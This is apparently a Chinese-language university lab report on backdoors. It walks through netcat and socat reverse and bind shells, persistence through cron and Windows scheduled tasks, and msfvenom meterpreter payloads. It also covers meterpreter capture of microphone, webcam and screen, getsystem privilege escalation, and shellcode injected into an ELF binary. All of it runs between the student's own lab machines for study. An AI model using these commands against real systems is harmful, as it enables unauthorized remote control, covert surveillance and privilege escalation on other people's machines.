1 實驗內容
1.1 實踐基本知識
1.1.1 後門
後門就是不經過正常認證流程而訪問系統的通道。最早的後門並不是惡意的,而是開發人員為了便於在開發期間除錯程式而設定的快捷路徑。按照存在位置進行分類,可以分為以下4類:
- 編譯器後門
- 作業系統後門
- 應用程式後門
- 偽裝成正常程式的後門
1.1.2 後門技術型別
- 管控功能實現技術
- 自啟動技術
- 程序隱藏技術
- 資料穿透與躲避技術
1.1.3 後門攻擊的技術流程
- 編寫好後門程式
- 入侵到目標主機
- 利用免殺技術活下來
- 然後執行操作達成目的
1.2 實踐目標
- 使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定),cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
- 使用socat獲取主機操作Shell, 任務計劃啟動
- 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
- 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
1.3 實驗要求
1.3.1 掌握後門原理及免殺技術
1.3.2 回答問題
Q:例舉你能想到的一個後門進入到你係統中的可能方式?
A:首先有可能從編譯器進入,我的電腦上有GCC編譯器,而且下載的渠道也不是官方渠道。其次還有可能偽裝成正常軟體進入到系統。
Q:例舉你知道的後門如何啟動起來(win及linux)的方式?
A:在Windows系統下,有基於Windows啟動目錄的自啟動,基於登錄檔的自啟動,基於服務程式的自啟動,基於ActiveX控制元件的自啟動,基於計劃任務的自啟動。
在Linux系統下,有Cron(是Linux下的定時任務,可以設定定時執行)。
Q:Meterpreter有哪些給你映像深刻的功能?
A:讓我印象最深的功能是遠端控制,能夠僅僅透過幾行命令就能完成對遠端主機的控制。
Q:如何發現自己有系統有沒有被安裝後門?
A:最簡單的方式就是安裝專業查殺軟體,並且嚴格限制各類應用的許可權。此外,也可以透過檢查系統程序,登錄檔或者啟動項來判斷是否存在後門。在一些特殊情況下,可以檢視系統日誌,來檢視是否存在異常行為。
2 實驗過程
2.1 使用netcat獲取主機操作Shell,cron啟動某項任務
2.1.1 建立連線
首先,我們要確定Windows(以下簡稱Win主機)系統以及Linux(以下簡稱kali主機)的IP,這裡需要注意,當主機連線的網路發生變化時,兩臺主機的IP一般都會變化,所以要注意修改,否則無法正常連線。
使用如下命令獲取主機IP
ipconfig //Windows命令
ifconfig //Linux命令
然後,在Windows的shell介面輸入如下命令
ncat.exe -l -p 2401 //這裡的埠號選擇的是學號,要避開常用埠號
在kali的shell介面輸入如下命令
nc 192.168.1.106 2401 -e /bin/sh //建立反彈式連線(IP是Windows的)
然後輸入ls
就可以看到若干輸出(這裡的輸出可多可少,而且也不一定一樣,我做了兩次,輸出的內容也不盡相同)。
只要能夠說明這些檔案是來自kali的檔案系統,就表明兩臺主機已經建立連線。
2.1.2 設定定時任務
接下來設定定時任務,在kali中輸入下列命令
crontab -e
在文字編輯介面加入如下語句
20 * * * * /bin/netcat 192.168.1.106 2401 -e /bin/sh
然後輸入下列命令檢視一下時程表
crontab -l
會發現我們剛才加入的語句被輸出出來了
我這裡是做過一遍之後又做了一遍,所以輸出結果不一樣。
此時在/var/spool/cron/crontabs
路徑下可以看到root
檔案
然後Windows重新連線,輸入whoami
保證路徑是root
,然後輸入如下命令
echo "* * * * * echo "20222401" > /home/kali/20222401.txt" > /var/spool/cron/crontabs/root
這裡就已經覆蓋成功了。
在kali的檔案系統的相應路徑中能看到剛才生成的檔案。
2.2 使用socat獲取主機操作Shell, 任務計劃啟動
2.1.1 編寫啟動程式
點選檢視程式碼
#include <stdlib.h>
#include <stdio.h>
int main()
{
const char *url = "https://wiki.pvz1.com/doku.php?id=%E6%94%BB%E7%95%A5:%E6%A4%8D%E7%89%A9%E5%A4%A7%E6%88%98%E5%83%B5%E5%B0%B8";
#ifdef _WIN32
const char *command = "start \"\" \"%s\"";
#else
const char *command = "xdg-open %s";
#endif
char command_buffer[256];
snprintf(command_buffer, sizeof(command_buffer), command, url);
printf("Executing command: %s\n", command_buffer);
int result = system(command_buffer);
if (result == -1)
{
perror("system");
return 1;
}
return 0;
}
這裡的程式是要開啟PVZ Wiki(一個國內的植物大戰殭屍論壇網站),如下圖
然後編譯得到exe檔案,這個就是待會我們要設定定時執行的檔案。
在Windows的shell介面輸入以下命令
socat.exe tcp-listen:2401 exec:cmd.exe,pty,stderr
在kali的shell介面中輸入以下命令
socat - tcp:192.168.1.106:2401
輸入chcp 65001
解決亂碼問題。
然後輸入如下命令,建立定時計劃
schtasks /create /sc minute /mo 1 /tn "20222401" /tr C:\Users\33207\Desktop\PVZ_Wiki.exe
然後就可以享受網頁刷屏的快感了
2.3 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
在kali主機的shell中輸入以下命令,生成後門檔案
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -f exe > 20222401_backdoor.exe
在Windows主機的shell中輸入以下命令
ncat.exe -l 2401 > 20222401_backdoor.exe
在kali中輸入如下命令
nc 192.168.30.82 2401 < 20222401_backdoor.exe
然後我們就能發現後門檔案也已經生成好了
然後在kali中輸入以下命令,進行相關配置
msfconsole //進入控制檯
use exploit/multi/handler //配置監聽模組
set payload windows/meterpreter/reverse_tcp //使用和生成後門程式時相同的payload
set LHOST 192.168.50.244 //使用kali的IP,需要和之前生成後門程式時設定的IP相同
set LPORT 2401 //設定埠,需要和之前生成後門程式時設定的埠相同
接下來開啟後門檔案,輸入以下命令(Windows介面)
20222401_backdoor.exe
接下來在kali中輸入exploit
命令,然後輸入ls
至此,後門安裝成功。
2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
在kali輸入如下命令
record_mic //獲取音訊
screenshot //獲取截圖
webcam_snap //獲取拍照
繼續輸入命令
getuid //檢視當前使用者
getsystem //提權指令
2.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
在kali的shell介面中輸入以下命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -x /home/kali/桌面/pwn -f elf > pwn20222401
chmod a+x pwn20222401
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.50.244
set LPORT 2401
exploit
然後再開一個終端,然後執行pwn20222401
至此,成功實現遠端控制shell。
3 問題及解決方案
- 問題1:漢字亂碼解決
- 問題1解決方案:
chcp 65001
,由於中文版Windows含有漢字,所以需要輸入這行命令,來保證特殊編碼能夠正常顯示。 - 問題2:注入失敗(最後一步連線不上)
- 問題2解決方案:需要重新下載回實驗一的檔案,然後找對路徑(我第一遍做的時候路徑寫錯了一個字母,導致反覆注入不成功),就能正常顯示。
4 學習感悟、思考等
這一次實驗主要掌握的是後門的相關攻擊操作。在實驗中,我學習使用netcat獲取主機操作Shell,cron啟動某項任務,使用MSF meterpreter生成可執行檔案,使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權以及使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
這次實驗也讓我的安全意識也有了提升,以後下載軟體都要儘可能選擇來源可靠的路徑,並且來歷不明的檔案不要點選。
參考資料
- 《附件列表》
- 《後門免殺工具-Backdoor-factory》